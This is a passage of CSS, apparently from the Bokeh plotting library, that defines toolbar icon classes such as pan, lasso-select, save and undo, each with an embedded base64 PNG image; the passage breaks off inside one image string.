.bk-tool-icon-hover{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4oVHp0SwAAAQJJREFUWMPtlsENgzAMRb8RQ5VJItFDOgaZAMaAA0iZpN3KPZSoEEHSQBCViI/G8pfNt/KAFFcPshPdoAGgZkYVVYjQAFCyFLN8tlAbXRwAxp61nc9XCkGERpZCxRDvBl0zoxp7K98GAACxxH29srNNmPsK2l7zHoHHXZDr+/9vwDfB3kgeSB5IHkgeOH0DmesJjSXi6pUvkYt5u9teVy6aWREDM0D0BRvmGRV5N6DsQkMzI64FidtI5t3AOKWaFhuioY8dlYf9TO1PREUh/9HVeAqzIThHgWZ6MuNmC1jiL1mK4pAzlKUojEmNsxcmL0J60tazWjLZFpClPbd9BMJfL95145YajN5RHQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-crosshair{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADEUlEQVRYR81XXVIaQRCeHqug8CXmBNETaE4gniDwIgpVspxAbxC9ATkBkCpQ8gKeQDiB5AQxNyAvUlrldr7eHxyGXZi1rMJ5opbp7m++7un+htSGF204vsoMoNXrlzSpfWa1oxQfhAegCZGaEtPorHo8znIoJwCt6+td8uk7ApUQCIHTF4BNAWzImq8ap6cP68CsBdDp9i9ZqXM7ML79g/EnCWD+jgMKENKqWT+tXK0CkQqgNRjs0OxpQIqKhoMxaG6/6JeRnK7T6yO2UvVqhYSlLX+ryORfgKn9ORDFIy7ky41yGcwsr0QAQfDH5zucOswx819fs4egI9OFCcD8DjBF7VNbEX0JzdWEt3NHSSASAcCxBDqMgt/623kvyTgNgNjJIfTjk4D4FqaJR1715MjmYAmA5Bx3AwUXQL+t105KaTlcBSC26XRvhjEIoLiq1yqXpr8FAGG16/ug4IT27fxBWu7EiQuAiImJpEMKE6nYM30uAIDDttSUOPfJP7JzbjPhAiBIh9QE67vIvoOi9WJfCwDavf40ulpjbCqmUf+W753ezURuh7Dg1SqflwAEHU6pgfyBq9Y4qx0LG++2fnZ/eUzcstmdM2AWH+jfc+liWdBJfSENf8Lifi3GVwC9mybOfi5dzatWVrbbLIHNva8p5h/16gkaFiLGGxbufkoE6XguwePiXLF3XmMfCUCUAqtKXU7sumd1CowOuJEi3Pg1FBpjitIGhyvVSfvmjci6ZR+rFQfDiPVE2jFYeICQ+PoewwjC5h7CZld6DBdyu6nDSKgzOyIMhmhK5TTqXYbRorZYM46TmpKAAOrGWwSJJekSB1yqJNOzp1Gs7YJ0EDeySDIMtJbQHh6Kf/uFfNFZkolJICRmz0P8DKWZuIG2g1hpok+Mk0Qphs0h9lzMtWRoNvYLuVImUWrmPJDlBKeRBDfATGOpHkhw670QSHWGLLckmF1PTsMlYqMJpyUbiO0weiMMceqLVTcotnMCYAYJJbcuQrVgZFP0NOOJYpr62pf3AmrHfWUG4O7abefGAfwH7EXSMJafOlYAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-lasso-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgwlGP1qdAAABMBJREFUWMO9V1uIVVUY/r61z57ZMx4DnbzgkbQXL5iCJphlWdpIGY4jpFBkEiU9ZNaDRRcITcIwMwgxoQtU2IMXdAZfMjFvpERXYiSbysyBEXFmyuHMnLP32uvrwT2xnY5nxvHQ93Jg7fWv71/r//7L4a59TRgqJk+Z6v3a+sv0OI5nk5wu6VaSVZImAThHsgjgrKTvM5nMUWvtmf5n8HodCIKgOgzDhc65pSTrJQWDsSNpJX1ljHnDOfdT37oZLLHv+8OMMasKhcIJ59xHAJYMlhwAJGUAzJfUTHLFuFzOG5QDU6dNMyQfs9Yedc5tBpAD4IYYNQGoBrDtQnt7/b0LFrJsCHzfn2itfQfAnZLiazytA3AaQAuAiwDaEgeNpGkkswAWSBqRONB38b88z5uTKePt6iiKXkk8jq+iJC5LOmiMaTLGHLPWhmWeHr7vV0dRtATAapAzIVmSo51zyzIlbm2stesFPA6pKk0r6Ryg93y/ek8YFvPOOTg3cDSiKCoC2OP7/rEoirYm4rUkF12lAWNM1lr7lqQn0+QA8gI2jBg5cj6Aj8OwmB+KAKIoukhyp6SRJAUgl0ndPLDWPi9pJQCbuviXvu+/GIZhW1dnJ24UJFuTjCCA2ADA8sYGWmsXS3qmL94kDYAtkh4Nw7ANlQJ5U6INT1KrAYC9zQdykl7nFSj5fXp5Y8NWVBhy7mUAjqShMYdMXV2dJ2klyRwAJ8lIeuGWCRMP7N7frEqSG2OmAFhKshNAp5wrmO7u7jEAngPQm1S2z2pqapr+OPt7XEly0oxwzq2RdFmSD2AMgKKJouhhAL4kA+Cs53l7e3t7uytJHgRBreTWkXwkKVJnJD0B4GAGwIJE9R6AFufc6UqSZ7PZbD6ff5dkA4CQZEHSqwAOISmXtwGIE+F1SeqqIP8d+Xz+C0mLJYWSAODteXffczjdDQNJ0BWMCoLg5gqIbRTJNwHsljQhUb0luWPM2LE7Thw/9m/5NCT/TByxAOYWi8X6/gdWV1dnfN8fNRBxJpMZTXKdc+6IpFVJWAEgkvSJpA0X2tvtVTaSjgOYBCAEEADYSHK87/sfhmEYA9gShuEDkgzJHyWtB/B1irQ2juP7ADxkrX0wOUOpzmdpzEY590HJ7Ni1r2kSyZOSiv2+hSRjSTXp/QAukzySNJOJkmalyNIl10hqMcasdc61XDNcQRD8BnITgNp+36r6kfcNFMMlLQGwTNLMEuQGQBfJl2bdPru+HDkAZAqFQux53jZHEsC6aw0eg2gylNRBcqcx5v04ji999+03AwsWAOI4Lsy9a94WkisAnE5a5WCJYwCfA1g7LJudI2lTHMeXBm1faiQzxkyRtF3S5CTupeAB+KG2tnZFT0/P30NO2VKLzrmfAbwGMipjG5Oc0dPTc0Md05SZ5U4Q2FxChErtEYD7jTGNQ3UgM8Asv90Yc9I5LSKRlXSI5CxJa0jWSALJjKRnAewfkniT+vwf7N7fXHK9rq7O7+jo+BTA/NRrdBpjnnLOnUrvXd7YMPQXSBunneno6IhIHgYwW1JtkgmBpBkATlVMAwOk3nFJ+VSoqgCMr6gIy2FcLtdKspAedyQN/98caDt/3kpyabUmf8WvG/8A1vODTBVE/0MAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-pan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4lKssI9gAAAOtJREFUWMPVll0KwyAMgNPgoc0JzDX2Mtgp3csKErSamGabIEUo/T6bHz0ezxdsjPJ5kvUDaROem7VJAp3gufkbtwtI+JYEOsHNEugIN0mgM1wtsVoF1MnyKtZHZBW4DVxoMh6jaAW0MTfnBAbALyUwCD6UwEB4VyJN4FXx4aqUAACgFLjzrsRP9AECAP4Cm88QtJeJrGivdeNdPpko+j1H7XzUB+6WYHmo4eDk4wj41XFMEfBZGXpK0F/eB+QhVcXslVo7i6eANjF5NYSojCN7wi05MJNgbfKiMaPZA75TBVKCrWWbnGrb3DPePZ9Bcbe/QecAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-xpan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4X4hxZdgAAAMpJREFUWMPtlsEKwjAMhr/pwOOedINJe/PobWXCfAIvgo/nA4heOiilZQqN2yE5lpD/I38SWt3uD9aMHSuHAiiAAmwaYCqoM/0KMABtQYDW11wEaHyiEei28bWb8LGOkk5C4iEEgE11YBQWDyHGuAMD0CeS30IQPfACbC3o+Vd2bOIOWMCtoO1mC+ap3CfmoCokFs/SZd6E0ILjnzrhvFbyEJ2FIZzXyB6iZ3AkjITn8WOdSbbAoaD4NSW+tIZdQYBOPyQKoAAKkIsPv0se4A/1UC0AAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-ypan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4anK0lywAAAMVJREFUWMPtlzEKwzAMRX/S7rlpIMXeOnaLaME36FLo8XqCdNFghGljyc4kgQi2Q/SUj0F/eL7eMMTKz6j9wNlYPGRrFcSoLH4XxQPvdQeYuPOlcLbw2dRTgqvoXEaolWM0aP4LYm0NkHYWzyFSSwlmzjw2sR6OvAXNwgEcwAEcwAEcwAEcoGYk20SiMCHlmVoCzACoojEqjHBmCeJOCOo1lgPA7Q8E8TvdjMmHuzsV3NFD4w+1t+Ai/gTx3qHuOFqdMQB8ASMwJX0IEHOeAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-range{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABCJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDx0aWZmOkNvbXByZXNzaW9uPjU8L3RpZmY6Q29tcHJlc3Npb24+CiAgICAgICAgIDx0aWZmOlhSZXNvbHV0aW9uPjcyPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxYRGltZW5zaW9uPjMyPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6Q29sb3JTcGFjZT4xPC9leGlmOkNvbG9yU3BhY2U+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj4zMjwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgICAgIDxkYzpzdWJqZWN0PgogICAgICAgICAgICA8cmRmOkJhZy8+CiAgICAgICAgIDwvZGM6c3ViamVjdD4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTgtMDQtMjhUMTQ6MDQ6NDk8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1wOkNyZWF0b3JUb29sPlBpeGVsbWF0b3IgMy43PC94bXA6Q3JlYXRvclRvb2w+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgrsrWBhAAAD60lEQVRYCcVWv2scRxSemZ097SHbSeWkcYwwclDhzr1Q5T6QE1LghP6BGNIYJGRWNlaZItiFK1mr+JAu4HQu0kjpU8sgF3ITAsaFg0hOvt2Zyfvmdsa7a610Unx44Zgf773vvfneezPHNzrbhn3CT3xC3wPXYOC8LDzqdi8YY/gwh4BeknS/2th6dr2kf94AOp3OFyWgMyziOPbMDxV9FTtJnl1ut795Xd0/YQ0/vtYQwMT1KXWCfr2IjOWwtNehwN4xL9ykTrm6Pzl58yLn3J+mKh9mXbT3uRjGEDph+O8/TjfP5dBp7Ha7AX7O3o5nZeD/0E/OGyXntDgzA0X6qmCnrVutVlrUWV9f/3xo+pwhGDhvEPHOjoxnZjJggXmMHzBQ7NGNp9vxk61fr0HR7e/u7pZzCGHlc7qwBYYTT7tJYSx1AQzppyFPft5apta9w7SKcn0b7P7+/jCsDQ5mbc0dCmIJGDN0ehdcjsmkm6A6KUeKFOTE11PLxrC7Ukqh3ylL2fT0NAP9q6ur6rRCJJYsbKB0JsbCKMuy+xREePDyxQPCz+Crlw062QcA5wBOOt1l6vIl2WiI9F1fN6Q+BBqit6hEC4Hk08GQJMn4myjSP7RavVxgdaVUh/3U6HCMsPr9pYnJKRziHtWQ+un58+hGs6nsjQSjpuTyKGN3CX+FBwHXSiEVgjP+O8X6N12kIePES+GzTKAkGbNp8yJsGUMVzz8jPKReiyAQRimy5/cjye5RpF8utFp/+nwmT7d/NMzcFkS7yjJNGDaPURQxIQThEQy0SyF4l5WJYYhBa816vZ6dU7A6CAhbZVow/pDe0O9hVOoCi13r4BgBAvJHqMSQL2vE/iH6IAXEwgrRVUmBoRRwnwJQT98xEeVeSUyB4dJ5nwJBKdCFFGRmUCcu7rwIYypCTblaChuNBhWODrman5ub+4v0rMNBt8z6Ezh7GksJQpCbm79cMQE7QBFm/X6f0rjWnv8WRYg/QdbUpwDAEBy8vPyA8rNGzg3a8MiElwiM7dAtRqNoNptjGPM1laVxP9umWEMGLOKhKUOJDtBwDmzsw9fC/CzHr9SGuCTi2LbbKvVtmqXpCjMihBFa79Wrt5fGx9PDzc3fmu32Lf8qFliwU9emKhBSp+kRKn/hu9k1COEDbFdt/BoKWOAkuEbdVYyoIXv8+I/QK9dMHEb1Knb7MHOv8LFFOsjzCVHWOD7Ltn+MXCRF4729vWMDK+p8rLkvwjLg4N4v741m5YuwCI9CvHp1Ha8gFdBoPnQAkGsYYGxxcfEI7QQlFCTGUXwjAz4tWF+EpymOWu7fglE7qsOvrYE6g4+9/x/vhRbMdLOCFgAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-polygon-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjc1OfiVKAAAAe1JREFUWMPt1r9rU1EUB/DPK0XbqphFHETo4OCiFhwF0V1KHbRSROLqon+AUMVRRFBwEbRFMBiV+mMW/wIxi5OD1kERRVKRJHUwLvfBTZrU5OWBGXLgQu7Jfe98z/ec7z0vKa88b2q1BDtRHdAPBaylm1NzsxsOjPnPNt6WSWprbft+/c3I3zOAjhT1Y4+fvcjEQJIXnVECSa+AhqIHqlHH5lWCZoe+Gk4GRgDG86j9SAUdlDBSQaZhlOkuHyoVdJmsw98D1S5fM4NYM1LCpqM+Lwa240oLgmZzpVZvzKT75VLZcqksSZKWlQeAy/iORVwIvh31xvotvK7VG3Px4aWHj3Jl4C2uYSvq+Bn8v6LLbaVWb9zsBiKLCvbiNG7gLm7jAYqbPHMJMziZ9lsKoh8GtqCEVVzHftwJn+TFHp4/hg8BSCYVfMOZoPEv2NZGdy9WCGUr9toDR3E2/H4V6nwRe/BmgN65H1ZhvMuB3XiKIyFoGefwO6ysVkUlrNUNsyAK/jli533Q+Y8cJFvAeXyMS1CI/jiMr/gUtD2LQwMGr4R3p7bY3oQHQ5b38CT4D2AXXg6YcQXHpyYnlqKsi5iOAVSwL9zd7zJ09r+Cpwq72omFMazjT9Dnibym0dTkRDUKrrgwH7MwXVyYB38BstaGDfLUTsgAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-redo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4itK+dVQAAAaFJREFUWMPt1L1rFFEUBfDfJDaBBSslIFjbaSFp1FJQFMVCHkzhKIqdUYOCoBgErVz8rCwiTDMwBCIKipDWyip/gxAIWAmBgBC0eYFh2Gx2l9lFcA5M8e59782Zc84dWrT435Hs1siLchqn43MS0zgW22vYxjesYjVLw3YjBPKinMUTBOwf8J5fKLGYpWFjJAJ5Uc7gIW6jM6Kim3iNZ1katgYmEL/6I+YasvY7Lg6iRpIX5VF8wuEe/XV8wGf8jN6LWTiAc7iEQ7ucPZ+lYW0vAtfwvlbfwCKW9gpXDOv1mJvZHiSO91MiyYsyiQSuxtpXXM7SsDmM5nlRdrCMMz3sOJWl4Xevc/vwBzdwAl+yNNwZxfRI+GxelK9ikHcwh8d4NNR/YFRES1ZwoTYdR7I0rNf3TzVNIGbmSvR/Bx08mIgCFSVu4l2ltIWD9WxNGR+W8KOynqnZ0rwCeVG+wa0hjrxtWoF5dAfc28V8Mib/n+Nev5dnabg/zgw87aNEN/bHOwVRiRe4Wym9zNKwMKkpgIWKEt24njxiJlq0aPFv4i9ZWXMSPPhE/QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-reset{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4gWqH8eQAABLdJREFUWMPtlktsVGUUx3/nfvfOlLQaY2IiRRMQIRpI0PjamJhoVASDvNpCpYw1vJQYSVwZwIVQF6wwRHmkAUof9ElrI6VqDAXcID4TF0IiYQMkSlTokNCZ+b7jove2t+NMH7rQBWd3v+989/zP+Z8X3Jb/WGQySvUNTQBJESkNguAVYIWqzhaRhwBU9WcR+QXoymazn6jqzUQiMQSQzWZRVdal1vwzAI2tHQBPOuc2AbWTdOyQ53n7nHNfRwee51GzqoIQMCLDpr3x/tLQ0oZzrk5Vj0/BOEBt+KYuOlBVGlrahr0Wob27t3gEjnZ2AyQzmUwHsDgP6J/AYRE553neDwDOuUdU9QngNeCumK4TkRMhZUORcYC1qysLA6iuSQHIwkWLD6lqapQsuSmwTVV3h99I7EcAR462A2xR2Ilq6ehTaejvO1774kuLNALR33eclsaGsQDe3fYegHl43vyNwEeqGl1963mm2jl7YZRTQ82qlWP4HM6ZToC5ztkW4LHQoALru7s6Di5dvlIj/e6ujrEAWoZDn8hmMjXATMACGaAVuBjXTVVXFc/AxhaA+4zvn1DV+eHxVWPMAmvtb5GeMWZyZVhI2rt7qVy2pOh9U1snwIPW2vMi4oWJuBPYHkVAVScPoKmtkzVVK6cEMsyJraHhiCqJqJUwj/JRz7TW1iSSyR2rVyylqa0Ta+24Ic8vXaAEmDFc/l5Z2A/80OibuVyuz/f9ElUdHCmvw82t5HK5h6y1PYhsz2YyGw43t2KtBZHIGwB6+j4rCkBVUdV7gXrggnPuu8h4eP+xMeZS2D0rJYZ6AdAMzAt1b4nI26p6IFZOY8pugijcKSIHVLUK0LyST4vnrVfnWr3mjmP4QTATaERkXkypRFX3isjmuHdRJEK6Ckqquopp06bdKCkp2Sgi7XnGLcg7gzeutwNIiPYc8HixqIrIOlU9ONVIhHPEd851icgSVXUiskVV94gIqoonIt0i8gfQCfwae38e6BWRXuBZz5jZ8VbaOE4EIqlZVUEQBLlkMplS1QER2RwkEnsSyaREDUzyeNsvIhvCMqkH1kdIJ2o+k8iJB1LVVRfjZ6nqqlEAIbdVQGto8Lrv+/dbawcjAL7vc+6bs+zetetfLSHxniIFGofGGsU2oC7eOCbDfZ7nQawBOSAX74SF9oEPImOq+r7nmVmxb5raukZa8UReGmNmhbMkAwwBH467EYVZe49z7kdgenj8k7V2oTHm8kgdWcvrNdVFjR8cHkYzjDH9wLjDaEwEzpwa4MypgWvAjtjxfGNMj4jMiT+M+kFsZI/Q6Pv+HGNMT8w4wI7TAyevxXVPD5z8+zD64tRXAMHVK1eaVLUyVvuDqroV2BOnJF4ZIedviUidqt4Re9s+vbx8zZXLl7PR2+nl5Tz/zNOFp2FzxzGAklw22wUsLLaSKXwf8vhosZUM6PeDYEUum70VHfpBwKsVyyfeikOP6oBNwN1TrLbfgX3A1kKLzKeff8nLLzw38T5wZDgxn1LnNk5lLRfP26/OnR2hwfNYW2Atn9RCsrf+EECyrKysDFimqhXhyjY3VLkAXBKRDqA7nU6nS0tLhyIj6XSaN9bVclv+l/IXAmkwvZc+jNUAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-save{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4UexUIzAAAAIRJREFUWMNjXLhs5X+GAQRMDAMMWJDYjGhyf7CoIQf8x2H+f0KGM9M7BBio5FNcITo408CoA0YdQM1cwEhtB/ylgqMkCJmFLwrOQguj/xTg50hmkeyARAYGhlNUCIXjDAwM0eREwTUGBgbz0Ww46oBRB4w6YNQBow4YdcCIahP+H5EhAAAH2R8hH3Rg0QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-tap-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2hpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo3NzIwRUFGMDYyMjE2ODExOTdBNUNBNjVEQTY5OTRDRSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpCOTJBQzE0RDQ0RDUxMUU0QTE0ODk2NTE1M0M0MkZENCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpCOTJBQzE0QzQ0RDUxMUU0QTE0ODk2NTE1M0M0MkZENCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgTWFjaW50b3NoIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6OTQ0QzIwMUM1RjIxNjgxMUE3QkFFMzhGRjc2NTI3MjgiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NzcyMEVBRjA2MjIxNjgxMTk3QTVDQTY1REE2OTk0Q0UiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6eYZ88AAADLklEQVR42rSXf2TUYRzHv7tuGcfE6Vwb5zLSSjEj7Y9KWqfEmFZJP+yPMdKKmUrrn0iUfjhWlLFi6YfNrF+StBoTo39iYkTGco4xxxG59P7k/T2PT8/37nu3bx9ezvPj+zyf5/PreS78bGLS8SmrwE6yje3NHJsDBTALpknBz6JhH3NiYAB0gHqPOVv52wJ6QQ48BzdAttTioRJjdeA8mAHHS2xuk3p+M8M16ipVQE49Ds6CiFO9RLjGONf05QLx6wPQaBlbBlPgJVgkP0ETiIJ2sB/E1XfimjfgBOOlKDUqCGOcqBcQnw6BYW5YTo4wbvQhMmCfGRemC2rBiGXzWUb+kM/NRZ6CHWBM9ce5R61NgX6ayhSJ5EPlItlDRNkz4JbFHf06BkSzHjXxM+gDv1S/mPUo2AXWgt9UUHL/IVhS8yUV1/EbV3o4N+NaoE9Fu/i827K5pNYHnqAVJECShWmAaddpscYFFXwR7vnXBRGlnUN/L6kqKJlxnRUuDbaDBiL+vst5d4gpcpBrqk/2jIgCKVUolhntplzivHmwh4stGOPfwBWwl/2dpp8p7xjQZqFLiQJtauKkivYm+kzccpK57yXfOUe+P23JqAnVbhMFmlXntCWnxbT31am9ZJ4BJifsUmNTqt0cYhA5ypympPg7VkEKunPbVb8cIG+0kyHLJZNR7fUMooUKFHAPkfQo58VLK+RzwRDd4FdWG9mjpaAXzqkJa1R7kQttqEABWXMjOOxxVRfnhRm5URX1prk/0pQHwNcKlchZ+jdpC+hFdVqO0my9Hj5dkYgCn1Rfh/KdlNDHrJhPqlDih+IfBd6qwpOgEqYMsorJ2HtWxtagLJDn/W3KRfPOZhoeBJfZPgVeGKeKrkQBh5dLXl25Ny3pc4/1fkTdbvFqFQgbxWeYD0hXulhQ0pYiM1jG547fcbMQpVnHTZEn9W3ljsCzwHxCdVteNHIZvQa7/7cC7nV6zHIfyFP9EXjFa7YxKAVqPP4bxhhoLWW+z9JyCb6M/MREg59/RlmmXbmneIybB+YC/ay+yrffqEddDzwGvKxxDmzhc0tc80XVgblqFfgjwAAPubcGjAOl1wAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-undo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4em8Dh0gAAAatJREFUWMPt1rFrFFEQBvDfGhACASshkL/ALpWVrSAKEQV5sIULWlgZNSgIFkGIVQ412gkBt1lYLERREFJqJRaW1oHAoZUQsDqwecWy7N3tbe6C4H2wxc682Zn3zTfvLXPM8b8j6RqYF+UCzsfnHBawGt3fMcAX7GEvS8NgKgXkRbmMxwg41TLsN0psZmnodyogL8pFPMIdLHUk7hA7eJKl4U/rAuKu3+HslFr/FZezNPSTFslX8QErDe4DvMVH/Iq9F7VwGpdwZUjsPtaSFjv/1vCBPjaxO0xcNbHejLpZrrlvJCMCT+JzA+2fcC1Lw+GE4l3CG1yIptfjCtiKoqtiJ0vD3aM0Py/K57iIMxgkQxat4EdN7e9xdRzlk+LEEPvDWvIDXJ928sYxjL36icWK+VaWhlezOIqbGFirJd/H7szugrwoX+D2BDEvszSsT5OBdfRaru/F9dPXQF6U27g/KnmWhgctxqyzBrZGMNGL/rHI0nDkKXiKexXTsywNGx0OnFbFNk3BRoWJXnw//j+ivCi32/S8CxPVNiWOAdUiJtXITIqYY45/Cn8B2D97FYW2H+IAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-wheel-pan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgswOmEYWAAABddJREFUWMO9l09oXNcVxn/n3vc0fzRjj2RHyIZ6ERuy6CarxJtS0pQSCsXNpqGFWK5tTHAwyqIGN7VdEts1LV04BEoxdlJnUbfNogtDCYWQRZOSxtAUCoFiJY0pWJVUjeTKM9LMe+9+Xcyb8ZMychuofeHCffeee7/vnXvOuefYlV/+mv932//tb91z/Y2rvxmMHQ+4FcEfOIGN4A+UwDDwoQScc7vM7AIwB8yZ2QXn3K77Ab6OgJnVgeOSbkqaBiaACUnTkm4Cx3OZzwf+qzcRQup1zNZ9RwDe+0YI4YKZTUn6zCGSMLOfAF/03r+QZdnyfwO+ePEiI6N1nPMgMDMkETLRbd2mXG8gCbd9YiIKIUxLKoLfBN7I+80+CUlTIYTp7RMT0b3Af37p8kh5y9gZcy4Fzt+5szqSaxkzUR7dwtrKMmaGW242d0t6vrD/He/90865o865o977p4F3Ctp4frnZ3L0Z+OryUrVSrZ0z8ZxhHjhcq1XPrS43q/0flDlK9XpPA2ma7gMeyvfPx3H8TJZlH4YQWiGEVpZlH8Zx/Awwn8s8lKbpvmq1ahvB641SXNk6dhLskNA2MIBtwKHK1vGTW8bKMRbAMgyPqWeETxUM8VSSJAv52JmZA0iSZMHMThWwnipXKp8hsLLcSaIR92oU